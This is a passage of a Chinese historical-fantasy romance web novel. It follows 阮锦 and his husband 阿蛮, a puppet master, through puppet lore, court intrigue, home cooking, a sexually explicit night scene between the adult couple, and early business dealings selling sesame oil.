也终于实现了阮锦可以让它们洗菜和切菜的指令,不但可以洗菜和切菜,而且还能让它们跳个胡旋舞。 阮锦看着整个人都兴奋了,忽然抽像了一下:“要是能把饭顺便也做了就更好了哈哈哈哈!” 阿蛮:“……要不,让它们……去考个状元回来吧?” 阮锦一脸不可思议的看向阿蛮,问道:“阿蛮,你竟然还学会搞抽像了?行啊你厉害了!” 阿蛮一脸无奈的对阮锦笑了笑,说道:“虽然它们……可以执行高阶的命令,但是……所要绘制的符纸也会……比较麻烦。后面我会慢慢把所有……符纸的绘制方法都……教予你,它们四个……能抵得上四个……人工了。” 阮锦道:“何止是四个人工,他们又不用吃不用喝,还不用花工钱。你只要给它们下达命令,它们就能执行,这不是天生牛马圣体吗?” 阿蛮不是很明白的歪了歪脑袋,心想虽然听不懂,但是阿锦说得对。 此时阮锦忽然又想到了一个问题,他好奇道:“傀儡为什么自己就可以动呢?哦哦,我的意思是,为什么它们有符纸的命令就能自己动起来?” 他从前所了解的傀儡都是提线木偶,看似是它们在动,实则是提着线的人在操控它们。 但这些木傀儡完全没有驱动,就是一堆装满木头关节的人偶,却能自发的动起来,既不用烧油,也不用充电,这是十分让人匪夷所思的。 阿蛮却没有回答他的问题,却是转头看向了阿五。 阿五一脸的得意,拍了拍自己的胸膛,知道这是师父在考教他的功课了,当即大声开口道:“我知道!天地之间,自有灵脉。上古修仙飞升,吸走了大半的灵脉,使得吾辈不得以再汲取天地间的灵气。可是,灵脉仍然是存在的。它们散落于四海八荒,深埋于地底深海。而傀儡师,就是这些灵脉和傀儡的媒介。傀儡中自有傀儡阵,傀儡师则可以操控傀儡阵。只要把傀儡阵放在傀儡中,傀儡师就可以通过灵脉,来操控这些傀儡!” 说完阿五嘿嘿一笑,转头看向阿蛮:“师父,我说的对不对呀?” 阿蛮缓缓的点了点头,眼神里露出了赞扬的神色,阿五高兴的蹦蹦跳跳,讨赏似的看向了阮锦:“师爹,我棒不棒?” 阮锦拿了条鸡腿给阿五,表扬道:“好样的,阮小放!未来,一定会成为像你师父一样的傀儡师的。” 阿五吃着鸡腿,重重的点头:“谢谢师爹,我一定会像师父一样的!” 阮锦问道:“那我的阿五学会了傀儡师,长大以后是想做什么呀?” “我……”阿五迟疑着,却是悄悄垂下了眼。 阮锦看着他有些低落下来的表情,问道:“阿五这是怎么了?不想告诉师父和师爹吗?” 阿五摇了摇头,小声道:“其实……我想去当兵,我想……报效王上,杀光幽光那帮畜生!” 阿大闻言,表情里也不太好看,他解释道:“阿五的父母是北境的流民,长年遭受幽国人的掠杀,逃难来到桃花县的。可是……他父母没撑过去,力竭死在了破庙里。我们三个刚好睡在破庙,就把他给捡回去了。” 阮锦明白了,心想阿五也是挺可怜的。 阿五的眼圈儿也是红红的,不过他很快就恢复了开朗,乐呵呵道:“不过我也是运气好,遇到了大哥二哥三姐四哥,还有师父和师爹。老天爷不可能把所有的好东西都给我,我现在已经很知足了。” 阮锦有些意外,没想到一个十一岁的孩子可以活得这么通透。 不过阿五长得还是瘦小了些,十一岁就像八九岁,一开始他还真没看出阿五有十一岁来。 阮锦又给他端了一盘鸡,说道:“小放多吃点儿,只有长得高高壮壮的,才能实现你的抱负呀!” 阿五嘿嘿一笑,一口啃了一大块鸡肉,点头应道:“好的师爹,我一定努力长得高高壮壮的!” 其实阿五这孩子长得还是挺漂亮的,浓眉大眼的,如果营养达到了,应该是个挺帅的小男孩。 三儿一脸无奈,说道:“别吃得跟花猫一样,你这衣裳一天穿下来就得脏。幸亏是有少爷做的洗衣机,否则姐姐还得天天给你洗。” 五儿边吃边傻乐,听了,但也没全听,反正下次还敢。 而此时的东南郡郡守府中,郡守吴泰恭恭敬敬的朝蒙铎行了个礼,说道:“大将军此次前来东南郡,想必是身负要务了?” 蒙铎的确身负要务,可眼前这位郡守大人却是个官油子,他没有明确站队,也就是个墙头草,谁都可以站。 如果他是个王派倒也罢了,主要是他和长兴侯也有些暧昧不清。 在这种情况下,蒙铎自然是不可能把事情的真相告诉他,只道:“近日朝廷发现一名在逃要犯,据线报,他最后出没的地点正是东南郡。只是具体在哪个方位,暂时也未明了。所以公主殿下派我等前来查证,最好能将此要犯一举捉拿。” 吴泰哦了一声,问道:“可有画影图像?我也好派郡内差役全郡范围内搜捕。” 蒙铎却摆了摆手道:“万万不可,此要犯身份特殊。公主殿下交待过,一定要秘密行事。我会亲自去搜寻,就不劳烦吴郡守了。只不过,还请吴郡守行个方便。我在你下辖之处行事多有不便,还望郡守大人把通令借我用一下。” 吴泰先是微怔,接着笑道:“那又有何不可,只是今日有些晚了,不如蒙将军先休息一晚,明日再行事也不急啊!” 蒙铎的脸上却露出严肃的表情:“军令如山,我可不像吴郡守这样悠闲。公主还等着我早日回去复命呢!” 吴泰也只得幸幸的笑了笑,说道:“那蒙将军稍待片刻,下官这就去为您取来东南郡的通令。” 这通令可不仅仅是通行那么简单的,还有调派当地守军,以及随时提审和调转罪犯的作用。 当然,蒙将军要的只是守军,毕竟他为的是找人。 但这却免不了让吴泰多想,因为牢里还关着一个盛兴隆呢,忍不住让他猜测,蒙将军此行,该不会是为公主殿下铲除异己来的吧? 吴泰是个官油子,此时的他不是不想站队,而是还没看清谁输谁赢。 当今王上有能力有手腕,可他膝下无子,天下盛传他有瘾疾。 公主殿下虽然深得王上看重,可她毕竟是个女流之辈,天下这么多年,哪里有女子为王的。 至于长兴侯,他为王上所不喜,可他却是最有野心的一个。 手握东郡和北郡重权,是最有希望夺权的一个。 吴泰冷哼一声,他也是为了自己的官途着想,虽说当个郡守已是不小的官职,秩二千石且总管一郡军政民政,有事更是可以直达天听。 可区区一个郡尉,怎么比得过九卿这样的要职呢? 于是他悄悄写了封密信交给手下,吩咐道:“亲自交给长兴侯,告诉他,蒙铎将军奉摄政公主之命在东南郡搜捕秘密要犯。” 手下接了信,应了一声便消失在夜色里。 待到蒙铎着急的拿到通令后,没再和郡守多说一句废话,便转身离开了太守府。 他心里急的不行,心想王上啊王上,你可千万不能出事! 此时的阮锦,却已经和阿蛮回到了小院儿里,两人难得没有一回房间就开始做,而是坐在了桌案前赏月。 今夜的月色十分柔美,阮锦在现代的时候从来没见过那么大那么亮的月亮。 仿佛就挂在树梢头一般,照得院子里即使不点灯笼,都亮得仿佛白昼一般。 四儿和九大夫也在院子里看月亮,还有夜莺的叫声时不时的传来,这宁静的夜色当真当让心旷神怡。 阮锦突然来了一句:“此等月色……要是能嗑点瓜子儿那就再好不过了!” 第58章 瓜子是不可能有瓜子的,因为葵花子和西瓜子都是明朝传入中国,清朝才开始流行起来的。 四儿从柜子里掏出不少菱角和核桃,摆到桌子上供大家食用。 早期的坚果并不多,松子榛子都是贵族们吃的,普通小老百姓也就只能采点菱角种点核桃了。 阮锦拿起一个菱角,掰了半天也没掰开,还是阿蛮从他手上接了过去,咔嚓两声就给他捏碎了。 阮锦朝他比了个大拇哥,咔嚓咔嚓吃了起来,味道粉粉的,有点类似栗子。 不过吃着还不是很过瘾,还是花生瓜子的吃着爽。 一想到花生,阮锦忽然记起来,这里似乎是有花生的。 本来根据历史记载,花生也是后来才传入中国的,但既然这里有花生,就说明历史的记录也不是完全正确。 或者说,这个架空的世界,花生的存在也可能被架空了。 阮锦突然道:“对了,我不是记得上次咱们留了不少花生准备种?四儿,还有没有啊?” 四儿也想起来了,应道:“有有有,但是不多,咱们这边本来就没有多少种花生的。北边种的比较多,阿大已经托北边的朋友去收了。” 阮锦道:“有就好,快快快,把花生找出来,我来给你们做五香花生。再拿点大蒜出来,做点蒜香花生!” 什么五香花生,蒜香花生,四儿和三儿他们从来没听说过。 花生这种东西是他们用来煮饭吃的,粥里放上几粒,也算是为生硬的饭增添几分风味。 古代的花生不大,大概小拇指大小,这也正是阮锦需要的。 阮锦指挥着众人道:“来来来,今天咱们做的匆忙,给花生开个口,我去准备料汁,一会儿泡进去。” 众人一拥而上,开始处理花生,阮锦则快速煮好了料汁,里面放了香叶、桂皮、八角、花椒、盐还有最关键的蒜片。 再把开好了口的花生泡进去,约莫泡个十几二十分钟,再小火煮上半个小时。 煮完也不用捞出来,直接泡在里面,边捞边吃。 把一大盆花生放到桌子上的时候,九大夫的小脑又萎缩了,他问:“花生……还能这么吃?” 阮锦坐回石凳上,说道:“你们尝尝就知道了,这味道香的很。” 九大夫和四儿互看一眼,两人一人捞了一枚出来,剥出花生仁儿尝了尝。 只觉得花生特有的香甜配着香浓的卤料咸鲜,还有大蒜那特殊的味道直接击中了两人的味蕾。 四儿和九大夫同时惊叹道:“好吃啊!” 阮锦一脸期待的看着他们的表情,说道:“我就说好吃吧?还可以炒干做成干货,这样就可以远途运输,卖给更多的人了。” 四儿伸出一个大拇指,赞道:“少爷,你这是又想到了一条致富路哇!” 之前的植物油已经堆了满仓,阮锦正想着开一个油坊卖油,但是糖也做了不少出来,还有盐井的盐,再加上现在的炒货。 阮锦觉得,下一步,他们就可以计划着开一家食杂铺了。 卖食物相关的杂货,仍然是蛮锦品牌,这样一来,他们这个品牌也可以扩大影响力。 阮锦一边给借着月色雕木头的阿蛮剥了一颗花生一边道:“看来,盐井那边的工场又可以再增加一条生产线了。嗯……可以叫盐酥蒜香花生,不要小瞧这些小商品,虽然利薄,但却是人人都能买得起的。积少成多,这财富不就累积起来了?” 四儿无奈道:“少爷,咱们还是先考虑明天酒楼开业的事情吧!三儿和阿大已经找到了合适的酒坊合作,他们家的酒也挺出名的,咱们也算强强联合了。” 阮锦嗯嗯两声,却感到手上传来一阵温热,竟然是阿蛮在舔他的手指。 阮锦:…… 好在夜色黑暗,四儿和九哥都没注意,他小声提醒阿蛮:“你是狗狗吗?不许乱舔知道吗?” 阿蛮傻呼呼的来了一句:“好吃……” 阮锦无奈,继续小声道:“是花生好吃,来,吃花生。” 阿蛮十分倔强的说道:“是阿锦……好吃!” 这回旁边的两个人想不听都难了,阮锦心想,真是辛苦四儿和九大夫了,每天晚上都要围观他和阿蛮的私密马赛克。 四儿和九大夫也不是不看眼色的人,尤其是四儿,他端起那盆花生道:“九哥,我还有事想问问你。你帮我把把脉,我最近觉得我好像开始发育了,是不是那个什么要来了?咱俩一边吃一边讨论如何?” 九大夫缓缓点了点头:“嗯,也好也好,来来来,我给你传授几招。” 阮锦:…… 阮锦叮嘱道:“九大夫,四儿他还小,你别教太多……” 九大夫啧了一声:“你还是自觉点吧!给你找个借口都不好好用。” 阮锦:……行吧! 阿蛮的刻刀已经放回了桌子上,嘴巴却仍然含着阮锦的手指,吸吮着上面已经不存在的滋味。 阮锦看了一眼四儿和九大夫关上的门,把手指从阿蛮的口中拔了出来,拉着他的手起身道:“阿蛮,我们回房间。” 阿蛮却仿佛使了千斤坠,把阮锦拉进了怀里,又拉过了他的手,将刚刚那根手指重新含了回去。 阮锦无奈了,低声问道:“有那么好吃吗?” 阿蛮的舌尖划过阮锦的指腹,柔软湿滑的触感传来,指尖一片酥痒,让阮锦忍不住哼唧了一声。 他试着用指腹去回应阿蛮的舌,顶触着他的舌尖,抚过他那一排整齐的牙齿,其中还有两颗狼一般的犬齿。 阮锦心想,难怪喜欢舔人,原来是狗狗变的。 想到这里,他忍不住低低的笑了笑,引来阿蛮一阵疑惑。 他松了口,阮锦的手指也得了自由,却又被吻住了嘴巴,托住屁股往身上一托,就这么轻轻松松的把他抱回了房间。 甚至回房间的路上,两人的唇都不曾分开过。 仿佛他脚下也长了眼,不用看路就知道该如何找到床。 甚至不用手关门,身后的门就这样吱呀一声被关上了。 阮锦被放到床上,却不肯从他身上下来,双腿缠在他腰上,耍赖一般的攀着他的肩,和他吻得难舍难分。 房间里没有点蜡烛,但是外面月色很好,虽然不是满月,却刚好让人能把彼此看清楚。 可能是借着朦胧的月色,阮锦的胆子也大了起来,他的眼睛一眨不眨的盯着阿蛮的眼睛,仿佛要看进他的眸子里。 安静的房间里听不到别的声音,只能听到亲吻时滋滋的吸吮声。 两人仿佛两只争斗的喜雀,你来我往的互啄着,直到两人呼吸都乱了节奏,才勉强分开唇舌。 阮锦微喘着,在阿蛮的耳边道:“阿蛮,你今天……没事吧?” 虽然知道阿蛮需求向来旺盛,但他有那种瘾症,还是让阮锦很担忧的。 阿蛮摇了摇头,小声道:“我没事,但是……也不是完全没事。” 阮锦一脸的担忧,问道:“是发病了吗?没事,你千万别怕,我来安抚你。” 其实他大概了解阿蛮的瘾症,有点类似于他从前看过的那种小说,有六种性别的ABO文。 Alpha进入易感期,和阿蛮眼下的情况差不多。 只不过Alpha在易咸期的时候需要标记omega才能缓解,阿蛮应该只是特别想要而已。 如果他不是特别抗拒这件事,应该也不至于憋出心理问题。 他猜测,阿蛮之所以会如此抗拒这件事,大概和他从前的某此经历有关。 好在他们结婚了,阮锦可以合理的为他疏导情绪。 阿蛮轻轻吻着阮锦,小声道:“倒是没有发病……我只是……” 阿蛮蹭到阮锦的颈间,有些无奈的往下看了一眼,说道:“那里……肿得快要爆炸了。” 阮锦:!!!!!! 他一脸无语的看向阿蛮,头疼道:“那你……还磨蹭什么?” 阿蛮贴了贴阮锦的侧颊,低低在他耳边道:“我想让你……看着我……” 阮锦有些不懂,说道:“我这不是看着你吗?” 借着朦胧的月色,阮锦抬头看向阿蛮的眼睛,英俊的男人侧脸十分完美,借用现代特别流行的一句话就是:堪比女娲毕设般的作品。 阿蛮捏住阮锦的下巴,强制着他把眼神挪到脐下三寸。 阮锦:?????? 此时的阮锦开始有些怀疑人生,他问道:“不会是我……想的那样吧?” 阿蛮嗯嗯两声,朦胧的月色下,男人的表情里露出了几分撒娇的味道:“阿锦,可以吗?” 那颤抖的尾音一响起,阮锦瞬间便有些不知今夕是何夕了。 想象一下,你的春闺梦里人向你撒娇,你的青春期偶像、暗恋的男人对你说可以看着我吗? 你能拒绝吗? 答案肯定是拒约此了的。 阮锦艰难的吐出一个字:“……好……” 阿蛮缓缓将衣带解开,褪去衣衫,形态完美的胸腹肌瞬间暴露在空气里。 做这一切的时候,阿蛮用的是单手,因为他的另一只手正捏着阮锦的下巴,迫使他的眼睛,随着他的动作从上往下,而后渐渐停留住。 阮锦的呼吸滞住了,他知道,也见过,甚至不止一次的感受过。 可每次看到,仍然会被震撼,他心想,我是真的曾经全部拥有过阿蛮吗? 哦,不对,好像每次都是半截来着…… 有半截是露在外面的。 这时,耳边又传来了阿蛮命令般的语气:“阿锦,看着我,好吗?” 阮锦觉得自己要疯了,因为阿蛮靠得他越来越近,近得空气都觉得稀薄粘稠了许多。 第59章 粘稠的空气里传来一阵水声,阮锦闭了闭眼睛,眼睁睁看着眼前的一切,脑海中的惊涛骇浪层层叠叠,山呼海啸而来。 而此时他的下巴还被捏着,透着银纱一般的月色,两人同时垂着眸,看着他们交握着的手。 阮锦终于难忍的咬了咬下唇,风吹过床帐,轻纱拂过他的脚踝,荡过银铃,一阵轻轻的铃声从耳畔响起。 快要炸开的热烫让阮锦忍不住想要移开眼睛,却又被阿蛮强势的扭转过来。 现在阮锦终于对阿蛮的瘾症有了真正的认识,他热衷于这件事,而且还要让他亲眼看着。 嗯,就这样,阮锦的眼前仿佛装了慢镜头一般,眼睁睁看着那一帧又一帧的慢动作,炸得他整个人昏头昏脑,不知天地为何物。 阿蛮还十分不要脸的问他:“阿锦……喜欢我吗?” 阮锦刚要开口,嗓音便颤抖的不像话,他猛然捂住嘴,感觉自己发出的简直不似人声。 却又被阿蛮把手强硬的握到了掌心,将他的两根削葱一般的手指含在了口中。 仿佛方才一样,含着他的两根指腹,啃咬着他的指尖,仿佛小鱼一般,轻轻的嘬了两口,发出啵的一声。 阮锦真的觉得自己要疯了,这个男人是什么终极魅魔,究竟他是傻子还是我是傻子? 还是他根本就是装傻,就是为了钓自己上钩? 不对,自己有什么可钩的! 还是他除了是个高阶的傀儡师,其余的全部技能便都点到床事上了? 这时,阿蛮又伸出了他的手,他的手掌修长,骨节很长,指尖上有厚厚的茧,看上去有些粗糙。 那些茧,有的是握枪的枪茧,有的是握刀的刀茧,还有的是雕刻时魔出来的细茧。 带着细茧的指尖划过阮锦的脸颊,使得他的皮肤微疼,还有些火辣辣的烫。 阿蛮不由分说的把带着薄茧的拇指按在了他的唇上,而后不由分说的插入了他的口中,顶在了他的舌上。 口中异物感传来,阮锦忍不住发出一阵干呕,口水顺着阿蛮的手指流到了他的手背上。 银亮色在月光的反射下透着淡淡的微亮,阿蛮垂首,将那口水尽数舔净,随即抽出自己的拇指,重重的含住了阮锦的唇舌。 阮锦的呜咽声被含有口中,他想发出声音,但如果出声就没办法呼吸了。 此时空气如此稀薄,他只顾着粗重又急促的呼吸着仅有的氧气,任由阿蛮在他口中攻城略地,似乎要数清他口中的每一颗牙齿,仗量他舌头的每一个角落。 直到阮锦的舌根微麻,阿蛮才难舍难分的与他分开唇舌,唇边还拖曳着一根银丝儿,似那剪不断理还乱的红线般牵绊着彼此。 这时,阮锦才终于能说话了,他搂着阿蛮的脖子,在他耳边道:“喜欢阿蛮……喜欢大大的阿蛮……” 阿蛮闻言低低的笑了笑,问道:“为什么是大大的阿蛮?是因为阿蛮长得太高了吗?” 阮锦无奈叹息,心想倒也不是,主要是因为阿蛮直到现在也还有一小半露在外面。 一阵清风吹进来,将暑夏消了一半,而阮锦身上的汗却已经浸透了身下的床单。 阿蛮做起这种事来种是不知餍足,尤其近日食髓知味后,更是恨不得和阮锦直到天荒地老去了。 这时阿蛮突然说了一句:“对不起,阿锦。” 阮锦不解:“这个时候……为什么说对不起?” 阿蛮道:“一开始不懂……让你受了不少委屈,我知道自己……弄疼你了。你现在,还疼吗?” 阮锦摇了摇头:“已经不疼了……” 不光不疼了,甚至已经不需要九大夫送的香膏了,他发现自己竟然能流水,这简直太匪夷所思了。 这难道就是哥儿这种生物独特的生理构造? 尤其是在阿蛮靠近他的时候,他嗅到阿蛮身上那股独特的香味,就忍不住的开始分泌粘液。 这种粘液能让他和阿蛮在一起的时候更爽利,没有任何阻滞,阮锦还悄悄在心里给它取了个名字叫阿蛮快乐水。 阿蛮低低的嗯了一声,贴着阮锦的耳朵,小声说道:“可以再叫我一声老公吗?” 阮锦应了一声:“老公。” 这一声老公,似是给了阿蛮无尽的鼓励,让在名为阮锦的疆场上无尽挞伐,放肆奔腾不知天地为何物。 呵呵,这个狂徒! 其实也不能全怪狂徒,阮锦人菜瘾还大,挂在阿蛮的脖子上一声声叫老公。 阿蛮这个人是经不起撩的,一边警告他明天会累,一边忍不住继续。 直至月上中天,一阵小雨淅淅沥沥的落了下来,轻柔的送来爽利的凉风,两人才相拥而眠。 阮锦心想,如果这种算热恋,那就让他睡死在床上好了。 别的不说,开完运动会后睡眠质量是真的好,每次都是一夜无梦,醒来大脑也从来没有过高中时那种学习一天休息不过来的混沌。 阮锦睁开眼,却没有看到阿蛮,一抬头,便看到阿蛮正举着一把漂亮的油纸伞站在雨里。 没想到,这雨竟淅淅沥沥下到现在,虽然不大,倒是也会沾湿衣物。 阮锦披衣起身,问道:“阿蛮?怎么站在外面?哪儿来的伞?” 桃树下,碧桃初红,枝叶葳蕤,陌上人如玉,公子世无双。 阿蛮对阮锦笑,凤眸英俊的让人心向往之,他开口道:“我看天一直在下雨,就……早起给你做了一把伞。图……是我自己画的,阿锦可喜欢?” 阮锦抬头看向伞面儿,外面是鱼戏莲叶图,里面是两条长了须子的蛇。 等等,伞里画两条蛇,几个意思? 不对,不是蛇,阮锦钻到伞下,仔细的看着,终于发现那不是两条蛇,竟是两条大泥鳅! 阮锦瞬间想捂脸,大脑中嗡的一声,啊啊啊啊了半天,忍不住抬手去拧阿蛮的耳朵,大声抗议道:“你这个狂徒!你看看你画的是什么破图!” 阿蛮也不躲,任由他胡闹,反倒是纵容的伸手勾住他的腰,以免他在雨中打滑。 闹了一会儿,阮锦才有些心疼的摸了摸阿蛮眼下的青黑,有些心疼的说道:“以后不许早起给我做伞了,知道了吗?” “可……可是……”阿蛮说道:“家里只有一把伞,四儿和……九大夫拿走了。我总不能……让你淋着出门。” 伞还是九大夫带来的,他们都没有带伞的意识。 阮锦的心软软的,捧着阿蛮的脸颊道:“谢谢你,阿蛮。” 阿蛮摇了摇头:“可是阿锦说,我们是最最亲密的……家人,不可以说谢谢的。” 阮锦笑,点头道:“嗯嗯,不说谢谢,那说……我爱你,老公。” 阿蛮的表情滞了滞,他有些不好意思的挠了挠头:“我还以为……老公只是在做游戏的时候喊的。” 阮锦被他给逗笑了,一边笑一边道:“好个狂徒!你脑子里都是些什么黄色废料!” 阿蛮的眼中又露出了那种类似人机的迷茫,他心想为什么我是狂徒,黄色废料又是什么东西? 身为一个古人,阿蛮当然不知道赤色鸳鸯肚兜的梗,也肯定不理解狂徒的意思。 毕竟他们不知天地为何物的时候,他脑子里只有阮锦的脚踝。 也不知道阿蛮为什么会这么喜欢他的脚踝,难道是因为他脚上的那串银铃吗? 那银铃好像是原主小时候就有的,据他父亲说,是他母亲留给他的遗物,阮锦试着往下摘过,但是摘不下来,便作罢了。 既然是那么有纪念价值的东西,还是一直戴在脚上的好。 阮锦抬头问阿蛮:“你早晨想吃什么?” 阿蛮想了想,答道:“去……蛮锦吃馄饨。” 阮锦点了点头,说道:“那我们俩一起去!” 于是两人同执一伞,走在桃花县的青石板路上,积水映出两道颀长的背影,一看就是两个容貌气质出众的年轻人。 两人一起来到馄饨摊子,本以为下雨会影响生意,谁料摊子上的食客仍是人满为患,其中排队最多的还是馄饨摊子。 还有什么,比下雨天的早晨吃一碗暖胃又暖心的馄饨更让人舒服呢? 阮锦远远的和仙儿打招呼,仙儿一袭红色纱衣,在众人里是最打眼的一个,她一直爱美,哪怕是起早贪黑的摆摊,仍然会把自己打扮的漂漂亮亮。 阮锦忍不住喊了一声:“哇,馄饨西施啊!” 仙儿一听,当即远远的摆手道:“哎呀可不敢可不敢,哪里敢和西施比哟!” 阮锦哈哈笑道:“怎么就不敢了?在我们卖馄饨的行当里,你就是西施,你说是不是呀阿丙?” 阿丙憨笑着点头:“对对对,东家说的是!” 旁边的食客也跟着夸道:“就是就是,仙儿娘子就是馄饨西施,长得漂亮人又善良,怎么不是西施呢?” 众人把仙儿都说得不好意思了,赶紧招呼大家道:“可别夸了可别夸了,再夸下去我可就忘了收钱了,那可不行!” 众人哄笑一声,继续排队买馄饨。 阮锦见仙儿忙,也没有麻烦她,自己洗手便要包上两碗,给自己和阿蛮吃。 谁料他刚一抬手,就看到不远处的树下跪着个人,那人看着眼熟,衣裳已经湿透了,头发也打成绺的贴在脸上,正眼巴巴的朝阮锦这边看过来。 阮锦皱了皱眉,问一旁的仙儿道:“这是怎么个情况?” 仙儿啧了一声,说道:“别提了,今天一早就跪在那里,说是找你。四儿让我们不要搭理她,撵也撵不走,就随她跪着了!” 第60章 其实阮锦也不想理会,阮钗的父母怎么对他的,他是不会忘的。 阮波更是要把他送到荣安良的床上,如果不是他施巧计脱身,如今恐怕早就是荣安良府上的侍妾了。 呵,他可以接受自己重生成了哥儿,却绝对不能任人欺凌,媚主求欢。 更何况,阮钗抢原主的夫君,还处处和原主作对,让他十八岁了还没找到合适的夫君,这里面肯定也有阮家二叔三叔的功劳。 阮锦也只是淡淡的哼了一声,坐下来一个一个的包着小馄饨。 刚好五儿昨日放学回来下桃花江捉了不少河虾,仙儿剥出了虾仁,阮锦便将虾仁也一颗一颗包进了馄饨里,想必阿蛮定会喜欢。 在阮锦包馄饨的时候,刘叔披着蓑衣冒着小雨过来了,阮锦没办法去迎他,便吩咐阿大:“阿大,去招呼一下刘叔!” 阿大应了一声,接下了刘叔手上的马车,朝后院拉去。 阮锦问:“刘叔这是送油过来了?” 刘叔一脸的高兴,应道:“是啊少爷!咱们这次共榨油三十桶,二十桶豆油,十桶花生油,还有十小罐香油!少爷你是不知道,香油那叫一个香啊!真的太香了哈哈哈哈!一出油,咱们整个工场都是香味儿,不少人都去问,到底是什么东西这么香呢。” 阮锦看着刘叔高兴的样子,自己也被感染了,笑着说道:“那可真是太好了,以后咱们炒菜可以不再用猪油了,换成植物油。” 猪油属于荤油,在这个时代还是很贵的。 不过植物油的味道也很好,普通人如果吃不起荤油,买点植物油还是没有任何问题的。 阮锦算了算,大豆的成本还是偏高了,其实还有一种植物榨油更便宜,那就是这里遍地都是的芸薹,也就是后来的油菜。 人们多数种芸薹是为了吃菜,后面种得多了,就会漫山遍野的开花,结了种子也落的到处都是,甚至现在都有很多结了籽的芸薹。 想到这里,阮锦又给刘叔下达了一个任务:“刘叔,晴天后你多去采些芸薹种子回来,越多越好。嗯……也可以雇人去采,一斤两文钱的收回来,到时候我再告诉你这些种子做什么用。” 刘叔现在对阮锦的话没有丝毫的质疑,只要自家少东家一吩咐,他就绝对的执行到位! 当即朝阮锦点了点头道:“好的少爷,我回去就安排!” 四儿和阿大阿二他们把那一车油卸在了后院的仓库里,这个仓库不光放着阮锦的各种食材,还有九大夫的各种药材。 四儿还拿了一瓶香油给少爷尝鲜,这香油是真的香得很,都不用开封,都能闻到浓郁的香油味儿。 甚至拿过香油罐子的手上,闻一闻都是香喷喷的。 四儿把香油罐子交给阮锦的时候忍不住说道:“少爷,这香油真的太香了,我都不用吃,光闻着就能吃两碗饭。” 阮锦忍不住轻笑,接过香油罐子打开来嗅了嗅,点头道:“嗯,成色确实不错,还挺纯净的。来,阿蛮,我们尝尝。” 说着他在馄饨碗里滴了两滴,又在阿蛮的碗里滴了两滴,阿蛮的鼻子动了动,应声道:“嗯嗯,香。” 阮锦看着他可爱的模样忍不住就想去捏他的脸颊,但因为人多,只好放弃了,手指却痒的不行,让他想到了昨晚某个人含着自己手指的情形。 就在两人吃着馄饨的时候,一旁有一名南越商人好奇的耸了耸鼻子,看着阮锦手边的那一罐香油道:“小老板,这个是什么油?怎的如此香?” 阮锦指了指香油罐,问道:“您是说这个吗?” 商人点头:“对,就是这个!” 阮锦哦了一声,答道:“是香油,用胡麻做的。” 芝麻也是从胡人那里贩卖来的,如果阮锦没记错,应该是起源于印度,但压榨香油的技法应是华夏独创。 当然了,这些历史上也没有标准可考答案,阮锦也只是把自己当成美食文化的搬运工,做出来好吃就行了,从不在意出处。 越商拿过那一小瓶香油,放到鼻端嗅了嗅,抬头问道:“我出一百文,卖给我怎么样?” 阮锦笑了,他也没想到,香油一出竟然就找到了买主。 这倒是也正常,在这个饮食文化匮乏的时代,有钱人对美食更加向往。 阮锦摆了摆手,对方问道:“啊?不舍得割爱啊?” 阮锦答:“那倒不是,我这香油是二两,定价六十文,三百文一斤。如果阁下想要,那就出六十文好了。” 对方先是惊讶,接着笑了起来:“你这个小老板,我喜欢!好好好,那给你六十文,这瓶香油我买了。” 在座吃饭的不乏有钱的商人,一听有人买到了那阵香味儿的来源,当即就有人举起了手:“我也要我也要,小老板,还有吗?” “还有我,这香味儿,简直太香了!” “是啊,怎么会这么香,这如果是放到饽饦里,岂不是香迷糊了?” “确实确实,小老板我也要,能不能也卖给我一瓶?” 阮锦听着这些议论声,开口道:“香油呢,我是有的,只是不知道在座的各位想要多少瓶呢?我货不多,不如大家说说自己的意向?” 其中一位商人想了想,说道:“我要二十瓶,小老板有吗?” 阮锦拿出一个本本来记着,点了点头道:“哦,二十瓶,那这位老板呢?” 另一名商人答:“我要的不多,也就区区五十瓶而已。” 阮锦笑了笑:“哦哦,五十瓶啊?那……这位老板呢?” 就这样,大家一一报出了自己想要的数量,一共九名游商,加起来一共要六百瓶香油。 一开始的商人觉得自己要少了,又一人找阮锦加了五十瓶,平均每人一百多瓶。 阮锦乐呵呵的道:“哎呀,大家要的这么多,我也确实没有那么多瓶。不过呢,你们可以预定。先交百分之三十的定钱,香油制出来,取货的时候再付上尾款。如果感兴趣,可以去找我的手下四儿登记交钱,同时我也会免费送你们一瓶香油。当然了,如果各位老板信不过我,那就算啦!毕竟咱们以前也没打过交道,这都是正常的。” 说完阮锦继续吃起了馄饨,对面的阿蛮还伸出手,在他的唇角给他擦了擦芫荽的叶子。 旁边有两名商人在商量,其实这种商业信用形式也不是没有先例的,北赵产优质战马,但战马养起来也需要时间,需要战马的国家便会先预付定金,等到马儿养成后再继续后面的交易。 阮锦却没再关注他们这边的想法,毕竟他手上现在只有九罐香油了,刚好他们又是九个人,一人送他们一罐也才五百多文,如果能用这五百多文堵到三万六千文,那也是十分不错的一笔交易。 两人很快便吃完了馄饨,小雨仍在淅淅沥沥的下着,阮锦对阿蛮道:“先回后院九大夫那里等我好吗?” 阿蛮乖乖软软的点了点头,转身走进了院子。 原计划今日开业的酒楼因为下雨而耽误了,阮锦只得延长开业计划,不过这也未必是坏事。 他可以静下心来好好想想,让他的事业版图扩张的更加顺利一点。 待到阿蛮回了院子,阮锦才起身走到了那棵老榆树前,手上举着那把阿蛮亲手给他做的油纸伞。 伞非常漂亮,尤其是两条泥鳅,竟然还是浮雕状的,看上去栩栩如生,仿佛要从伞面儿上钻出来一般。 想到这里,阮锦忍不住轻笑了一声,却惹来了跪在那里的女人的注意。 她看到阮锦后匍匐两步爬到了阮锦的面前,抬头一脸苦相的看着他道:“现在你如愿以偿了,看到我落魄成这样,你是不是很高兴?” 阮锦后退一步,说道:“阮钗,我对你的下场不感兴趣。如果不是你父母一而再再而三的算计我,和荣安良同流合污让我身陷困局,我又怎么会借尉迟小侯爷之手脱身?我只是为了自保,别说是你,只要你父母弟弟别来招惹我,我连看都不想多看他们一眼。” 尉迟融这次帮了大忙,只是也因为这件事暴露了他的行踪,他舅舅的人连夜把他捉了回去,都没来得及和阮锦道别。 阮钗冷笑一声:“不用说得这么冠冕堂皇,如今我是阶下囚。我朝你磕头下跪,但是我求求你,能不能放过我的父母?阮波他也还小,给他一个改过自新的机会吧!” 阮锦皱了皱眉,心想这个女人在说些什么,他们犯了罪,自有例法处置,和我又有什么关系? 